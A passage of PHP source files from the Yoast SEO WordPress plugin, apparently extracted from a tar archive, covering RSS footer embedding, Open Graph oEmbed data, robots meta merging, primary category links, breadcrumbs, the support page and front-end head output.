use Yoast\WP\SEO\Conditionals\Front_End_Conditional;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Class RSS_Footer_Embed.
 */
class RSS_Footer_Embed implements Integration_Interface {

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	protected $options;

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Front_End_Conditional::class ];
	}

	/**
	 * Sets the required helpers.
	 *
	 * @codeCoverageIgnore It only handles dependencies.
	 *
	 * @param Options_Helper $options The options helper.
	 */
	public function __construct( Options_Helper $options ) {
		$this->options = $options;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_filter( 'the_content_feed', [ $this, 'embed_rssfooter' ] );
		\add_filter( 'the_excerpt_rss', [ $this, 'embed_rssfooter_excerpt' ] );
	}

	/**
	 * Adds the RSS footer (or header) to the full RSS feed item.
	 *
	 * @param string $content Feed item content.
	 *
	 * @return string
	 */
	public function embed_rssfooter( $content ) {
		if ( ! $this->include_rss_footer( 'full' ) ) {
			return $content;
		}

		return $this->embed_rss( $content );
	}

	/**
	 * Adds the RSS footer (or header) to the excerpt RSS feed item.
	 *
	 * @param string $content Feed item excerpt.
	 *
	 * @return string
	 */
	public function embed_rssfooter_excerpt( $content ) {
		if ( ! $this->include_rss_footer( 'excerpt' ) ) {
			return $content;
		}

		return $this->embed_rss( \wpautop( $content ) );
	}

	/**
	 * Checks if the RSS footer should included.
	 *
	 * @param string $context The context of the RSS content.
	 *
	 * @return bool Whether or not the RSS footer should included.
	 */
	protected function include_rss_footer( $context ) {
		if ( ! \is_feed() ) {
			return false;
		}

		/**
		 * Filter: 'wpseo_include_rss_footer' - Allow the RSS footer to be dynamically shown/hidden.
		 *
		 * @param bool   $show_embed Indicates if the RSS footer should be shown or not.
		 * @param string $context    The context of the RSS content - 'full' or 'excerpt'.
		 */
		if ( ! \apply_filters( 'wpseo_include_rss_footer', true, $context ) ) {
			return false;
		}

		return $this->is_configured();
	}

	/**
	 * Checks if the RSS feed fields are configured.
	 *
	 * @return bool True when one of the fields has a value.
	 */
	protected function is_configured() {
		return ( $this->options->get( 'rssbefore', '' ) !== '' || $this->options->get( 'rssafter', '' ) );
	}

	/**
	 * Adds the RSS footer and/or header to an RSS feed item.
	 *
	 * @param string $content Feed item content.
	 *
	 * @return string The content to add.
	 */
	protected function embed_rss( $content ) {
		$before  = $this->rss_replace_vars( $this->options->get( 'rssbefore', '' ) );
		$after   = $this->rss_replace_vars( $this->options->get( 'rssafter', '' ) );
		$content = $before . $content . $after;

		return $content;
	}

	/**
	 * Replaces the possible RSS variables with their actual values.
	 *
	 * @param string $content The RSS content that should have the variables replaced.
	 *
	 * @return string
	 */
	protected function rss_replace_vars( $content ) {
		if ( $content === '' ) {
			return $content;
		}

		$replace_vars = $this->get_replace_vars( $this->get_link_template(), \get_post() );

		$content = \stripslashes( \trim( $content ) );
		$content = \str_ireplace( \array_keys( $replace_vars ), \array_values( $replace_vars ), $content );

		return \wpautop( $content );
	}

	/**
	 * Retrieves the replacement variables.
	 *
	 * @codeCoverageIgnore It just contains too much WordPress functions.
	 *
	 * @param string $link_template The link template.
	 * @param mixed  $post          The post to use.
	 *
	 * @return array The replacement variables.
	 */
	protected function get_replace_vars( $link_template, $post ) {
		$author_link = '';
		if ( \is_object( $post ) ) {
			$author_link = \sprintf( $link_template, \esc_url( \get_author_posts_url( $post->post_author ) ), \esc_html( \get_the_author() ) );
		}

		return [
			'%%AUTHORLINK%%'   => $author_link,
			'%%POSTLINK%%'     => \sprintf( $link_template, \esc_url( \get_permalink() ), \esc_html( \get_the_title() ) ),
			'%%BLOGLINK%%'     => \sprintf( $link_template, \esc_url( \get_bloginfo( 'url' ) ), \esc_html( \get_bloginfo( 'name' ) ) ),
			'%%BLOGDESCLINK%%' => \sprintf( $link_template, \esc_url( \get_bloginfo( 'url' ) ), \esc_html( \get_bloginfo( 'name' ) ) . ' - ' . \esc_html( \get_bloginfo( 'description' ) ) ),
		];
	}

	/**
	 * Retrieves the link template.
	 *
	 * @return string The link template.
	 */
	protected function get_link_template() {
		/**
		 * Filter: 'nofollow_rss_links' - Allow the developer to determine whether or not to follow the links in
		 * the bits Yoast SEO adds to the RSS feed, defaults to false.
		 *
		 * @since 1.4.20
		 *
		 * @param bool $unsigned Whether or not to follow the links in RSS feed, defaults to true.
		 */
		if ( \apply_filters( 'nofollow_rss_links', false ) ) {
			return '<a rel="nofollow" href="%1$s">%2$s</a>';
		}

		return '<a href="%1$s">%2$s</a>';
	}
}
wordpress-seo/src/integrations/front-end/open-graph-oembed.php000064400000006434147510273100020562 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Front_End;

use WP_Post;
use Yoast\WP\SEO\Conditionals\Front_End_Conditional;
use Yoast\WP\SEO\Conditionals\Open_Graph_Conditional;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Surfaces\Meta_Surface;

/**
 * Class Open_Graph_OEmbed.
 */
class Open_Graph_OEmbed implements Integration_Interface {

	/**
	 * The meta surface.
	 *
	 * @var Meta_Surface
	 */
	private $meta;

	/**
	 * The oEmbed data.
	 *
	 * @var array
	 */
	private $data;

	/**
	 * The post ID for the current post.
	 *
	 * @var int
	 */
	private $post_id;

	/**
	 * The post meta.
	 *
	 * @var Meta|false
	 */
	private $post_meta;

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Front_End_Conditional::class, Open_Graph_Conditional::class ];
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_filter( 'oembed_response_data', [ $this, 'set_oembed_data' ], 10, 2 );
	}

	/**
	 * Open_Graph_OEmbed constructor.
	 *
	 * @param Meta_Surface $meta The meta surface.
	 */
	public function __construct( Meta_Surface $meta ) {
		$this->meta = $meta;
	}

	/**
	 * Callback function to pass to the oEmbed's response data that will enable
	 * support for using the image and title set by the WordPress SEO plugin's fields. This
	 * address the concern where some social channels/subscribed use oEmebed data over Open Graph data
	 * if both are present.
	 *
	 * @link https://developer.wordpress.org/reference/hooks/oembed_response_data/ for hook info.
	 *
	 * @param array   $data The oEmbed data.
	 * @param WP_Post $post The current Post object.
	 *
	 * @return array An array of oEmbed data with modified values where appropriate.
	 */
	public function set_oembed_data( $data, $post ) {
		// Data to be returned.
		$this->data      = $data;
		$this->post_id   = $post->ID;
		$this->post_meta = $this->meta->for_post( $this->post_id );

		if ( ! empty( $this->post_meta ) ) {
			$this->set_title();
			$this->set_description();
			$this->set_image();
		}

		return $this->data;
	}

	/**
	 * Sets the OpenGraph title if configured.
	 *
	 * @return void
	 */
	protected function set_title() {
		$opengraph_title = $this->post_meta->open_graph_title;

		if ( ! empty( $opengraph_title ) ) {
			$this->data['title'] = $opengraph_title;
		}
	}

	/**
	 * Sets the OpenGraph description if configured.
	 *
	 * @return void
	 */
	protected function set_description() {
		$opengraph_description = $this->post_meta->open_graph_description;

		if ( ! empty( $opengraph_description ) ) {
			$this->data['description'] = $opengraph_description;
		}
	}

	/**
	 * Sets the image if it has been configured.
	 *
	 * @return void
	 */
	protected function set_image() {
		$images = $this->post_meta->open_graph_images;

		if ( ! \is_array( $images ) ) {
			return;
		}

		$image = \reset( $images );

		if ( empty( $image ) || ! isset( $image['url'] ) ) {
			return;
		}

		$this->data['thumbnail_url'] = $image['url'];

		if ( isset( $image['width'] ) ) {
			$this->data['thumbnail_width'] = $image['width'];
		}

		if ( isset( $image['height'] ) ) {
			$this->data['thumbnail_height'] = $image['height'];
		}
	}
}
wordpress-seo/src/integrations/front-end/wp-robots-integration.php000064400000012742147510273100021545 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Front_End;

use Yoast\WP\SEO\Conditionals\Front_End_Conditional;
use Yoast\WP\SEO\Conditionals\WP_Robots_Conditional;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Memoizers\Meta_Tags_Context_Memoizer;
use Yoast\WP\SEO\Presenters\Robots_Presenter;

/**
 * Class WP_Robots_Integration
 *
 * @package Yoast\WP\SEO\Integrations\Front_End
 */
class WP_Robots_Integration implements Integration_Interface {

	/**
	 * The meta tags context memoizer.
	 *
	 * @var Meta_Tags_Context_Memoizer
	 */
	protected $context_memoizer;

	/**
	 * Sets the dependencies for this integration.
	 *
	 * @param Meta_Tags_Context_Memoizer $context_memoizer The meta tags context memoizer.
	 */
	public function __construct( Meta_Tags_Context_Memoizer $context_memoizer ) {
		$this->context_memoizer = $context_memoizer;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		/**
		 * Allow control of the `wp_robots` filter by prioritizing our hook 10 less than max.
		 * Use the `wpseo_robots` filter to filter the Yoast robots output, instead of WordPress core.
		 */
		\add_filter( 'wp_robots', [ $this, 'add_robots' ], ( \PHP_INT_MAX - 10 ) );
	}

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array The conditionals.
	 */
	public static function get_conditionals() {
		return [
			Front_End_Conditional::class,
			WP_Robots_Conditional::class,
		];
	}

	/**
	 * Adds our robots tag value to the WordPress robots tag output.
	 *
	 * @param array $robots The current robots data.
	 *
	 * @return array The robots data.
	 */
	public function add_robots( $robots ) {
		if ( ! \is_array( $robots ) ) {
			return $this->get_robots_value();
		}

		$merged_robots   = \array_merge( $robots, $this->get_robots_value() );
		$filtered_robots = $this->enforce_robots_congruence( $merged_robots );
		$sorted_robots   = $this->sort_robots( $filtered_robots );

		// Filter all falsy-null robot values.
		return \array_filter( $sorted_robots );
	}

	/**
	 * Retrieves the robots key-value pairs.
	 *
	 * @return array The robots key-value pairs.
	 */
	protected function get_robots_value() {
		$context = $this->context_memoizer->for_current_page();

		$robots_presenter               = new Robots_Presenter();
		$robots_presenter->presentation = $context->presentation;
		return $this->format_robots( $robots_presenter->get() );
	}

	/**
	 * Formats our robots fields, to match the pattern WordPress is using.
	 *
	 * Our format: `[ 'index' => 'noindex', 'max-image-preview' => 'max-image-preview:large', ... ]`
	 * WordPress format: `[ 'noindex' => true, 'max-image-preview' => 'large', ... ]`
	 *
	 * @param array $robots Our robots value.
	 *
	 * @return array The formatted robots.
	 */
	protected function format_robots( $robots ) {
		foreach ( $robots as $key => $value ) {
			// When the entry represents for example: max-image-preview:large.
			$colon_position = \strpos( $value, ':' );
			if ( $colon_position !== false ) {
				$robots[ $key ] = \substr( $value, ( $colon_position + 1 ) );

				continue;
			}

			// When index => noindex, we want a separate noindex as entry in array.
			if ( \strpos( $value, 'no' ) === 0 ) {
				$robots[ $key ]   = false;
				$robots[ $value ] = true;

				continue;
			}

			// When the key is equal to the value, just make its value a boolean.
			if ( $key === $value ) {
				$robots[ $key ] = true;
			}
		}

		return $robots;
	}

	/**
	 * Ensures all other possible robots values are congruent with nofollow and or noindex.
	 *
	 * WordPress might add some robot values again.
	 * When the page is set to noindex we want to filter out these values.
	 *
	 * @param array $robots The robots.
	 *
	 * @return array The filtered robots.
	 */
	protected function enforce_robots_congruence( $robots ) {
		if ( ! empty( $robots['nofollow'] ) ) {
			$robots['follow'] = null;
		}
		if ( ! empty( $robots['noarchive'] ) ) {
			$robots['archive'] = null;
		}
		if ( ! empty( $robots['noimageindex'] ) ) {
			$robots['imageindex'] = null;

			// `max-image-preview` should set be to `none` when `noimageindex` is present.
			// Using `isset` rather than `! empty` here so that in the rare case of `max-image-preview`
			// being equal to an empty string due to filtering, its value would still be set to `none`.
			if ( isset( $robots['max-image-preview'] ) ) {
				$robots['max-image-preview'] = 'none';
			}
		}
		if ( ! empty( $robots['nosnippet'] ) ) {
			$robots['snippet'] = null;
		}
		if ( ! empty( $robots['noindex'] ) ) {
			$robots['index']             = null;
			$robots['imageindex']        = null;
			$robots['noimageindex']      = null;
			$robots['archive']           = null;
			$robots['noarchive']         = null;
			$robots['snippet']           = null;
			$robots['nosnippet']         = null;
			$robots['max-snippet']       = null;
			$robots['max-image-preview'] = null;
			$robots['max-video-preview'] = null;
		}

		return $robots;
	}

	/**
	 * Sorts the robots array.
	 *
	 * @param array $robots The robots array.
	 *
	 * @return array The sorted robots array.
	 */
	protected function sort_robots( $robots ) {
		\uksort(
			$robots,
			static function ( $a, $b ) {
				$order = [
					'index'             => 0,
					'noindex'           => 1,
					'follow'            => 2,
					'nofollow'          => 3,
				];
				$ai    = ( $order[ $a ] ?? 4 );
				$bi    = ( $order[ $b ] ?? 4 );

				return ( $ai - $bi );
			}
		);

		return $robots;
	}
}
wordpress-seo/src/integrations/primary-category.php000064400000003716147510273100016673 0ustar00<?php

namespace Yoast\WP\SEO\Integrations;

use stdClass;
use WP_Error;
use WP_Post;
use WPSEO_Primary_Term;
use Yoast\WP\SEO\Conditionals\Primary_Category_Conditional;

/**
 * Adds customizations to the front end for the primary category.
 */
class Primary_Category implements Integration_Interface {

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * In this case only when on the frontend, the post overview, post edit or new post admin page.
	 *
	 * @return array The conditionals.
	 */
	public static function get_conditionals() {
		return [ Primary_Category_Conditional::class ];
	}

	/**
	 * Registers a filter to change a post's primary category.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_filter( 'post_link_category', [ $this, 'post_link_category' ], 10, 3 );
	}

	/**
	 * Filters post_link_category to change the category to the chosen category by the user.
	 *
	 * @param stdClass     $category   The category that is now used for the post link.
	 * @param array|null   $categories This parameter is not used.
	 * @param WP_Post|null $post       The post in question.
	 *
	 * @return array|object|WP_Error|null The category we want to use for the post link.
	 */
	public function post_link_category( $category, $categories = null, $post = null ) {
		$post = \get_post( $post );
		if ( $post === null ) {
			return $category;
		}

		$primary_category = $this->get_primary_category( $post );
		if ( $primary_category !== false && $primary_category !== $category->cat_ID ) {
			$category = \get_category( $primary_category );
		}

		return $category;
	}

	/**
	 * Get the id of the primary category.
	 *
	 * @codeCoverageIgnore It justs wraps a dependency.
	 *
	 * @param WP_Post $post The post in question.
	 *
	 * @return int Primary category id.
	 */
	protected function get_primary_category( $post ) {
		$primary_term = new WPSEO_Primary_Term( 'category', $post->ID );

		return $primary_term->get_primary_term();
	}
}
wordpress-seo/src/integrations/support-integration.php000064400000010750147510273100017426 0ustar00<?php

namespace Yoast\WP\SEO\Integrations;

use WPSEO_Admin_Asset_Manager;
use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Conditionals\User_Can_Manage_Wpseo_Options_Conditional;
use Yoast\WP\SEO\Helpers\Current_Page_Helper;
use Yoast\WP\SEO\Helpers\Product_Helper;
use Yoast\WP\SEO\Helpers\Short_Link_Helper;
use Yoast\WP\SEO\Promotions\Application\Promotion_Manager;

/**
 * Class Support_Integration.
 */
class Support_Integration implements Integration_Interface {

	public const PAGE = 'wpseo_page_support';

	public const CAPABILITY = 'wpseo_manage_options';

	/**
	 * Holds the WPSEO_Admin_Asset_Manager.
	 *
	 * @var WPSEO_Admin_Asset_Manager
	 */
	private $asset_manager;

	/**
	 * Holds the Current_Page_Helper.
	 *
	 * @var Current_Page_Helper
	 */
	private $current_page_helper;

	/**
	 * Holds the Product_Helper.
	 *
	 * @var Product_Helper
	 */
	private $product_helper;

	/**
	 * Holds the Short_Link_Helper.
	 *
	 * @var Short_Link_Helper
	 */
	private $shortlink_helper;

	/**
	 * Constructs Support_Integration.
	 *
	 * @param WPSEO_Admin_Asset_Manager $asset_manager       The WPSEO_Admin_Asset_Manager.
	 * @param Current_Page_Helper       $current_page_helper The Current_Page_Helper.
	 * @param Product_Helper            $product_helper      The Product_Helper.
	 * @param Short_Link_Helper         $shortlink_helper    The Short_Link_Helper.
	 */
	public function __construct(
		WPSEO_Admin_Asset_Manager $asset_manager,
		Current_Page_Helper $current_page_helper,
		Product_Helper $product_helper,
		Short_Link_Helper $shortlink_helper
	) {
		$this->asset_manager       = $asset_manager;
		$this->current_page_helper = $current_page_helper;
		$this->product_helper      = $product_helper;
		$this->shortlink_helper    = $shortlink_helper;
	}

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Admin_Conditional::class, User_Can_Manage_Wpseo_Options_Conditional::class ];
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		// Add page.
		\add_filter( 'wpseo_submenu_pages', [ $this, 'add_page' ], \PHP_INT_MAX );

		// Are we on the settings page?
		if ( $this->current_page_helper->get_current_yoast_seo_page() === self::PAGE ) {
			\add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_assets' ] );
			\add_action( 'in_admin_header', [ $this, 'remove_notices' ], \PHP_INT_MAX );
		}
	}

	/**
	 * Adds the page.
	 *
	 * @param array $pages The pages.
	 *
	 * @return array The pages.
	 */
	public function add_page( $pages ) {
		$pages[] = [
			'wpseo_dashboard',
			'',
			\__( 'Support', 'wordpress-seo' ),
			self::CAPABILITY,
			self::PAGE,
			[ $this, 'display_page' ],
		];

		return $pages;
	}

	/**
	 * Displays the page.
	 *
	 * @return void
	 */
	public function display_page() {
		echo '<div id="yoast-seo-support"></div>';
	}

	/**
	 * Enqueues the assets.
	 *
	 * @return void
	 */
	public function enqueue_assets() {
		// Remove the emoji script as it is incompatible with both React and any contenteditable fields.
		\remove_action( 'admin_print_scripts', 'print_emoji_detection_script' );
		$this->asset_manager->enqueue_script( 'support' );
		$this->asset_manager->enqueue_style( 'support' );
		if ( \YoastSEO()->classes->get( Promotion_Manager::class )->is( 'black-friday-2024-promotion' ) ) {
			$this->asset_manager->enqueue_style( 'black-friday-banner' );
		}
		$this->asset_manager->localize_script( 'support', 'wpseoScriptData', $this->get_script_data() );
	}

	/**
	 * Removes all current WP notices.
	 *
	 * @return void
	 */
	public function remove_notices() {
		\remove_all_actions( 'admin_notices' );
		\remove_all_actions( 'user_admin_notices' );
		\remove_all_actions( 'network_admin_notices' );
		\remove_all_actions( 'all_admin_notices' );
	}

	/**
	 * Creates the script data.
	 *
	 * @return array The script data.
	 */
	public function get_script_data() {
		return [
			'preferences'       => [
				'isPremium'      => $this->product_helper->is_premium(),
				'isRtl'          => \is_rtl(),
				'pluginUrl'      => \plugins_url( '', \WPSEO_FILE ),
				'upsellSettings' => [
					'actionId'     => 'load-nfd-ctb',
					'premiumCtbId' => 'f6a84663-465f-4cb5-8ba5-f7a6d72224b2',
				],
			],
			'linkParams'        => $this->shortlink_helper->get_query_params(),
			'currentPromotions' => \YoastSEO()->classes->get( Promotion_Manager::class )->get_current_promotions(),
		];
	}
}
wordpress-seo/src/integrations/breadcrumbs-integration.php000064400000004025147510273100020201 0ustar00<?php

namespace Yoast\WP\SEO\Integrations;

use WPSEO_Replace_Vars;
use Yoast\WP\SEO\Memoizers\Meta_Tags_Context_Memoizer;
use Yoast\WP\SEO\Presenters\Breadcrumbs_Presenter;
use Yoast\WP\SEO\Surfaces\Helpers_Surface;

/**
 * Adds customizations to the front end for breadcrumbs.
 */
class Breadcrumbs_Integration implements Integration_Interface {

	/**
	 * The breadcrumbs presenter.
	 *
	 * @var Breadcrumbs_Presenter
	 */
	private $presenter;

	/**
	 * The meta tags context memoizer.
	 *
	 * @var Meta_Tags_Context_Memoizer
	 */
	private $context_memoizer;

	/**
	 * Breadcrumbs integration constructor.
	 *
	 * @param Helpers_Surface            $helpers          The helpers.
	 * @param WPSEO_Replace_Vars         $replace_vars     The replace vars.
	 * @param Meta_Tags_Context_Memoizer $context_memoizer The meta tags context memoizer.
	 */
	public function __construct(
		Helpers_Surface $helpers,
		WPSEO_Replace_Vars $replace_vars,
		Meta_Tags_Context_Memoizer $context_memoizer
	) {
		$this->context_memoizer        = $context_memoizer;
		$this->presenter               = new Breadcrumbs_Presenter();
		$this->presenter->helpers      = $helpers;
		$this->presenter->replace_vars = $replace_vars;
	}

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array The array of conditionals.
	 */
	public static function get_conditionals() {
		return [];
	}

	/**
	 * Registers the `wpseo_breadcrumb` shortcode.
	 *
	 * @codeCoverageIgnore
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_shortcode( 'wpseo_breadcrumb', [ $this, 'render' ] );
	}

	/**
	 * Renders the breadcrumbs.
	 *
	 * @return string The rendered breadcrumbs.
	 */
	public function render() {
		$context = $this->context_memoizer->for_current_page();

		/** This filter is documented in src/integrations/front-end-integration.php */
		$presentation = \apply_filters( 'wpseo_frontend_presentation', $context->presentation, $context );

		$this->presenter->presentation = $presentation;

		return $this->presenter->present();
	}
}
wordpress-seo/src/integrations/xmlrpc.php000064400000002344147510273100014676 0ustar00<?php

namespace Yoast\WP\SEO\Integrations;

use Yoast\WP\SEO\Conditionals\XMLRPC_Conditional;

/**
 * Noindexes the xmlrpc.php file and all ways to request it.
 *
 * @phpcs:disable Yoast.NamingConventions.ObjectNameDepth.MaxExceeded -- Known false positive with acronyms. Fix expected in YoastCS 3.x.
 */
class XMLRPC implements Integration_Interface {

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * In this case when the current request is an XML-RPC request.
	 *
	 * @return array The conditionals based on which this class should be loaded.
	 */
	public static function get_conditionals() {
		return [ XMLRPC_Conditional::class ];
	}

	/**
	 * Initializes the integration.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_filter( 'xmlrpc_methods', [ $this, 'robots_header' ] );
	}

	/**
	 * Sets a noindex, follow x-robots-tag header on all XMLRPC requests.
	 *
	 * @codeCoverageIgnore Basically impossible to test from the command line.
	 *
	 * @param array $methods The methods.
	 *
	 * @return array The methods.
	 */
	public function robots_header( $methods ) {
		if ( \headers_sent() === false ) {
			\header( 'X-Robots-Tag: noindex, follow', true );
		}

		return $methods;
	}
}
wordpress-seo/src/integrations/front-end-integration.php000064400000040773147510273100017616 0ustar00<?php

namespace Yoast\WP\SEO\Integrations;

use WP_HTML_Tag_Processor;
use WPSEO_Replace_Vars;
use Yoast\WP\SEO\Conditionals\Front_End_Conditional;
use Yoast\WP\SEO\Context\Meta_Tags_Context;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Memoizers\Meta_Tags_Context_Memoizer;
use Yoast\WP\SEO\Presenters\Abstract_Indexable_Presenter;
use Yoast\WP\SEO\Presenters\Debug\Marker_Close_Presenter;
use Yoast\WP\SEO\Presenters\Debug\Marker_Open_Presenter;
use Yoast\WP\SEO\Presenters\Title_Presenter;
use Yoast\WP\SEO\Surfaces\Helpers_Surface;
use YoastSEO_Vendor\Symfony\Component\DependencyInjection\ContainerInterface;

/**
 * Class Front_End_Integration.
 */
class Front_End_Integration implements Integration_Interface {

	/**
	 * The memoizer for the meta tags context.
	 *
	 * @var Meta_Tags_Context_Memoizer
	 */
	private $context_memoizer;

	/**
	 * The container.
	 *
	 * @var ContainerInterface
	 */
	protected $container;

	/**
	 * Represents the options helper.
	 *
	 * @var Options_Helper
	 */
	protected $options;

	/**
	 * The helpers surface.
	 *
	 * @var Helpers_Surface
	 */
	protected $helpers;

	/**
	 * The replace vars helper.
	 *
	 * @var WPSEO_Replace_Vars
	 */
	protected $replace_vars;

	/**
	 * The presenters we loop through on each page load.
	 *
	 * @var string[]
	 */
	protected $base_presenters = [
		'Title',
		'Meta_Description',
		'Robots',
	];

	/**
	 * The presenters we loop through on each page load.
	 *
	 * @var string[]
	 */
	protected $indexing_directive_presenters = [
		'Canonical',
		'Rel_Prev',
		'Rel_Next',
	];

	/**
	 * The Open Graph specific presenters.
	 *
	 * @var string[]
	 */
	protected $open_graph_presenters = [
		'Open_Graph\Locale',
		'Open_Graph\Type',
		'Open_Graph\Title',
		'Open_Graph\Description',
		'Open_Graph\Url',
		'Open_Graph\Site_Name',
		'Open_Graph\Article_Publisher',
		'Open_Graph\Article_Author',
		'Open_Graph\Article_Published_Time',
		'Open_Graph\Article_Modified_Time',
		'Open_Graph\Image',
		'Meta_Author',
	];

	/**
	 * The Open Graph specific presenters that should be output on error pages.
	 *
	 * @var array<string>
	 */
	protected $open_graph_error_presenters = [
		'Open_Graph\Locale',
		'Open_Graph\Title',
		'Open_Graph\Site_Name',
	];

	/**
	 * The Twitter card specific presenters.
	 *
	 * @var array<string>
	 */
	protected $twitter_card_presenters = [
		'Twitter\Card',
		'Twitter\Title',
		'Twitter\Description',
		'Twitter\Image',
		'Twitter\Creator',
		'Twitter\Site',
	];

	/**
	 * The Slack specific presenters.
	 *
	 * @var array<string>
	 */
	protected $slack_presenters = [
		'Slack\Enhanced_Data',
	];

	/**
	 * The Webmaster verification specific presenters.
	 *
	 * @var array<string>
	 */
	protected $webmaster_verification_presenters = [
		'Webmaster\Baidu',
		'Webmaster\Bing',
		'Webmaster\Google',
		'Webmaster\Pinterest',
		'Webmaster\Yandex',
	];

	/**
	 * Presenters that are only needed on singular pages.
	 *
	 * @var array<string>
	 */
	protected $singular_presenters = [
		'Meta_Author',
		'Open_Graph\Article_Author',
		'Open_Graph\Article_Publisher',
		'Open_Graph\Article_Published_Time',
		'Open_Graph\Article_Modified_Time',
		'Twitter\Creator',
		'Slack\Enhanced_Data',
	];

	/**
	 * The presenters we want to be last in our output.
	 *
	 * @var array<string>
	 */
	protected $closing_presenters = [
		'Schema',
	];

	/**
	 * The next output.
	 *
	 * @var string
	 */
	protected $next;

	/**
	 * The prev output.
	 *
	 * @var string
	 */
	protected $prev;

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array<string> The conditionals.
	 */
	public static function get_conditionals() {
		return [ Front_End_Conditional::class ];
	}

	/**
	 * Front_End_Integration constructor.
	 *
	 * @codeCoverageIgnore It sets dependencies.
	 *
	 * @param Meta_Tags_Context_Memoizer $context_memoizer  The meta tags context memoizer.
	 * @param ContainerInterface         $service_container The DI container.
	 * @param Options_Helper             $options           The options helper.
	 * @param Helpers_Surface            $helpers           The helpers surface.
	 * @param WPSEO_Replace_Vars         $replace_vars      The replace vars helper.
	 */
	public function __construct(
		Meta_Tags_Context_Memoizer $context_memoizer,
		ContainerInterface $service_container,
		Options_Helper $options,
		Helpers_Surface $helpers,
		WPSEO_Replace_Vars $replace_vars
	) {
		$this->container        = $service_container;
		$this->context_memoizer = $context_memoizer;
		$this->options          = $options;
		$this->helpers          = $helpers;
		$this->replace_vars     = $replace_vars;
	}

	/**
	 * Registers the appropriate hooks to show the SEO metadata on the frontend.
	 *
	 * Removes some actions to remove metadata that WordPress shows on the frontend,
	 * to avoid duplicate and/or mismatched metadata.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_filter( 'render_block', [ $this, 'query_loop_next_prev' ], 1, 2 );

		\add_action( 'wp_head', [ $this, 'call_wpseo_head' ], 1 );
		// Filter the title for compatibility with other plugins and themes.
		\add_filter( 'wp_title', [ $this, 'filter_title' ], 15 );
		// Filter the title for compatibility with block-based themes.
		\add_filter( 'pre_get_document_title', [ $this, 'filter_title' ], 15 );

		// Removes our robots presenter from the list when wp_robots is handling this.
		\add_filter( 'wpseo_frontend_presenter_classes', [ $this, 'filter_robots_presenter' ] );

		\add_action( 'wpseo_head', [ $this, 'present_head' ], -9999 );

		\remove_action( 'wp_head', 'rel_canonical' );
		\remove_action( 'wp_head', 'index_rel_link' );
		\remove_action( 'wp_head', 'start_post_rel_link' );
		\remove_action( 'wp_head', 'adjacent_posts_rel_link_wp_head' );
		\remove_action( 'wp_head', 'noindex', 1 );
		\remove_action( 'wp_head', '_wp_render_title_tag', 1 );
		\remove_action( 'wp_head', '_block_template_render_title_tag', 1 );
		\remove_action( 'wp_head', 'gutenberg_render_title_tag', 1 );
	}

	/**
	 * Filters the title, mainly used for compatibility reasons.
	 *
	 * @return string
	 */
	public function filter_title() {
		$context = $this->context_memoizer->for_current_page();

		$title_presenter = new Title_Presenter();

		/** This filter is documented in src/integrations/front-end-integration.php */
		$title_presenter->presentation = \apply_filters( 'wpseo_frontend_presentation', $context->presentation, $context );
		$title_presenter->replace_vars = $this->replace_vars;
		$title_presenter->helpers      = $this->helpers;

		\remove_filter( 'pre_get_document_title', [ $this, 'filter_title' ], 15 );
		$title = \esc_html( $title_presenter->get() );
		\add_filter( 'pre_get_document_title', [ $this, 'filter_title' ], 15 );

		return $title;
	}

	/**
	 * Filters the next and prev links in the query loop block.
	 *
	 * @param string                   $html  The HTML output.
	 * @param array<string|array|null> $block The block.
	 * @return string The filtered HTML output.
	 */
	public function query_loop_next_prev( $html, $block ) {
		if ( $block['blockName'] === 'core/query' ) {
			// Check that the query does not inherit the main query.
			if ( isset( $block['attrs']['query']['inherit'] ) && ! $block['attrs']['query']['inherit'] ) {
				\add_filter( 'wpseo_adjacent_rel_url', [ $this, 'adjacent_rel_url' ], 1, 3 );
			}
		}

		if ( $block['blockName'] === 'core/query-pagination-next' ) {
			$this->next = $html;
		}

		if ( $block['blockName'] === 'core/query-pagination-previous' ) {
			$this->prev = $html;
		}

		return $html;
	}

	/**
	 * Returns correct adjacent pages when Query loop block does not inherit query from template.
	 * Prioritizes existing prev and next links.
	 * Includes a safety check for full urls though it is not expected in the query pagination block.
	 *
	 * @param string                      $link         The current link.
	 * @param string                      $rel          Link relationship, prev or next.
	 * @param Indexable_Presentation|null $presentation The indexable presentation.
	 *
	 * @return string The correct link.
	 */
	public function adjacent_rel_url( $link, $rel, $presentation = null ) {
		// Prioritize existing prev and next links.
		if ( $link ) {
			return $link;
		}

		// Safety check for rel value.
		if ( $rel !== 'next' && $rel !== 'prev' ) {
			return $link;
		}

		// Check $this->next or $this->prev for existing links.
